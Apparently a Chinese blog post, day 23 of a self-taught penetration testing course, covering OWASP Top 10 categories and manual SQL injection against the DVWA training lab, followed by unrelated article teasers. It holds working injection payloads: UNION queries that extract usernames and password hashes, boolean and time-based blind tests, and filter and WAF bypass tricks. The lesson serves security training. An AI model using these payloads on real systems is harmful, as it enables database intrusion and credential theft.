news 2026/4/24 2:15:21

自学渗透测试第23天(漏洞分类与sql注入模仿)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
自学渗透测试第23天(漏洞分类与sql注入模仿)

第9章 服务配置与工具链联动(第23–25天)

9.1 漏洞分类与SQL注入模仿(第23天)

核心目标
  1. 掌握Web漏洞分类体系:理解OWASP TOP 10漏洞分类,建立系统化的漏洞认知框架。

  2. 精通手工SQL注入流程:超越自动化工具,掌握从注入点探测、信息获取到数据提取的完整手工注入流程与技巧。

  3. 理解漏洞防御与绕过:了解SQL注入的常见防御机制(如WAF、过滤函数),并学习基础的手工绕过思路。

模块一:Web漏洞分类体系
1.1 OWASP TOP 10核心漏洞
  • 注入:SQLi, NoSQLi, OS命令注入, LDAP注入。

  • 失效的身份认证:弱口令、会话管理不当、注销机制失效。

  • 敏感信息泄露:明文传输密码、错误信息泄露、不安全的直接对象引用。

  • XML外部实体:XXE攻击。

  • 失效的访问控制:水平/垂直越权。

  • 安全配置错误:默认配置、不必要的服务、错误的HTTP头。

  • 跨站脚本:XSS。

  • 不安全的反序列化:导致RCE。

  • 使用含有已知漏洞的组件:未更新的框架、库。

  • 不足的日志记录和监控:无法追溯攻击行为。

1.2 漏洞利用链思想
  • 单一漏洞到权限提升:如何将信息泄露、文件上传、SQL注入等漏洞组合,实现从外网渗透到内网控制。

模块二:手工SQL注入深度实战
2.1 注入点探测与确认
  • 经典探测Payload

    ' // 触发错误 \" // 触发错误 ` // 某些情况下 AND 1=1 // 真条件,页面应正常 AND 1=2 // 假条件,页面应异常(如内容消失)
  • 判断注入类型

    • 数字型id=1->id=1 AND 1=1/id=1 AND 1=2

    • 字符型id='admin'->id='admin' AND '1'='1/id='admin' AND '1'='2

2.2 信息收集:数据库、用户、版本
  • 查询数据库版本

    MySQL: SELECT @@version, version() MSSQL: SELECT @@version Oracle: SELECT banner FROM v$version PostgreSQL: SELECT version()
  • 查询当前用户与数据库

    SELECT user(), database()
  • 联合查询注入步骤

    1. 确定列数ORDER BY 5递增直到报错。

    2. 确定显示位UNION SELECT 1,2,3,4,5

    3. 替换显示位获取信息UNION SELECT 1,@@version,user(),database(),5

2.3 提取数据:库、表、列、内容
  • MySQL信息模式

    -- 获取所有数据库名 UNION SELECT 1, schema_name,3,4 FROM information_schema.schemata -- 获取指定数据库(如dvwa)的所有表名 UNION SELECT 1, table_name,3,4 FROM information_schema.tables WHERE table_schema='dvwa' -- 获取指定表(如users)的所有列名 UNION SELECT 1, column_name,3,4 FROM information_schema.columns WHERE table_name='users' AND table_schema='dvwa' -- 提取数据 UNION SELECT 1, concat(user, ':', password),3,4 FROM dvwa.users
2.4 盲注:布尔与时间盲注
  • 布尔盲注:通过页面返回内容的差异判断真假。

    id=1' AND SUBSTRING((SELECT database()),1,1)='d' --+ -- 如果页面正常,则数据库名第一个字符是‘d’
  • 时间盲注:通过执行延时函数判断。

    MySQL: id=1' AND IF((SELECT database())='dvwa', SLEEP(5), 0) --+ -- 如果页面响应延迟5秒,则数据库名为'dvwa'
模块三:防御机制与基础绕过
3.1 常见防御机制
  • 输入过滤:过滤'"SELECTUNION等关键字。

  • 使用预编译语句:最有效的防御手段。

  • WAF:基于规则库拦截恶意请求。

3.2 基础绕过技巧
  • 大小写混淆SeLeCt替代SELECT

  • 双写关键字SELSELECTECT过滤后变为SELECT

  • 内联注释/*!SELECT*/(MySQL)

  • URL编码%55nion表示Union

  • 空白符替换:使用/**/+%0a代替空格

  • 等价函数/语句替换SUBSTRING->MID->LEFT

模块四:当日达标实战任务
4.1 漏洞分类练习
  1. 分析场景:给定三个漏洞描述:A) 网站将用户输入直接拼接到system()函数中。B) 网站的Cookie中userid参数可被篡改,从而访问他人数据。C) 网站的登录页面在失败时返回“用户admin不存在”。

    • 请判断它们分别属于OWASP TOP 10中的哪类漏洞。

4.2 DVWA手工注入挑战

在DVWA的SQL Injection模块(安全级别设为MediumHigh),完成以下手工注入任务:

  1. 探测与确认:判断注入类型(数字/字符)及闭合方式。

  2. 获取信息:获取数据库版本、当前数据库名、当前数据库用户。

  3. 提取数据:获取users表中的所有用户名和密码(MD5哈希形式)。

  4. 盲注实践:在SQL Injection (Blind)模块,通过布尔或时间盲注,获取数据库版本号的第一个字符。

4.3 绕过简单过滤

假设一个过滤规则是删除输入中的SELECTUNION关键字(不区分大小写)。请构造一个Payload,使其在过滤后仍能正常执行UNION SELECT 1,2,3

模块五:常见问题与解决方案
5.1 手工注入难点
  • 页面无回显:优先考虑布尔盲注或时间盲注。观察页面内容的细微变化(如“存在/不存在”、“Welcome/”),或使用SLEEP函数。

  • UNION查询列数不一致:耐心测试ORDER BY,或使用NULL填充列,如UNION SELECT NULL, NULL, NULL

5.2 绕过失败
  • WAF拦截严格:尝试使用更冷门的编码方式、分块传输、HTTP参数污染等技术,或寻找未受WAF保护的其他功能点。


明日预告:第24天将聚焦Linux服务配置与连接测试,学习如何安装、配置、启动和测试常见的网络服务(如SSH, Apache, MySQL),这是内网渗透和权限维持的重要基础。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/24 2:05:47

从‘饱和’与‘残存失调’聊起:手把手分析OOS与IOS两种失调消除技术该怎么选

从‘饱和’与‘残存失调’谈OOS与IOS技术选型:工程师的决策指南 在高速高精度比较器设计中,失调消除技术的选择往往成为影响整体性能的关键决策点。当您面对一个增益设计较高的前置放大器时,输出饱和风险与残余失调容忍度之间的矛盾会变得尤为…

作者头像 李华
网站建设 2026/4/24 2:05:46

LangChain之大模型介绍

一、认识模型模型是一个从数据中学习规律的“数学函数”或“程序”。旨在处理和生成信息的算法,通常模仿人 类的认知功能。通过从大型数据集中学习模式和洞察,这些模型可以进行预测、生成文本、图像或其 他输出,从而增强各个行业的各种应用。…

作者头像 李华
网站建设 2026/4/24 2:05:44

英雄联盟Akari助手:高效开源自动化游戏辅助工具包完整指南

英雄联盟Akari助手:高效开源自动化游戏辅助工具包完整指南 【免费下载链接】League-Toolkit An all-in-one toolkit for LeagueClient. Gathering power 🚀. 项目地址: https://gitcode.com/gh_mirrors/le/League-Toolkit 你是否曾经在英雄联盟对…

作者头像 李华
网站建设 2026/4/24 2:05:27

MTK Meta工具进不去

背景:贴片试产出现Meta工具连不上排查问题:通过查看上一个版本能连上,查看git log 查看一个修改导致连接失败meta 工具失败原因是usb port超时报错,meta工具连接主要是通过不断获取usb的类型去匹配从这我们就可以得出是否usb的类型…

作者头像 李华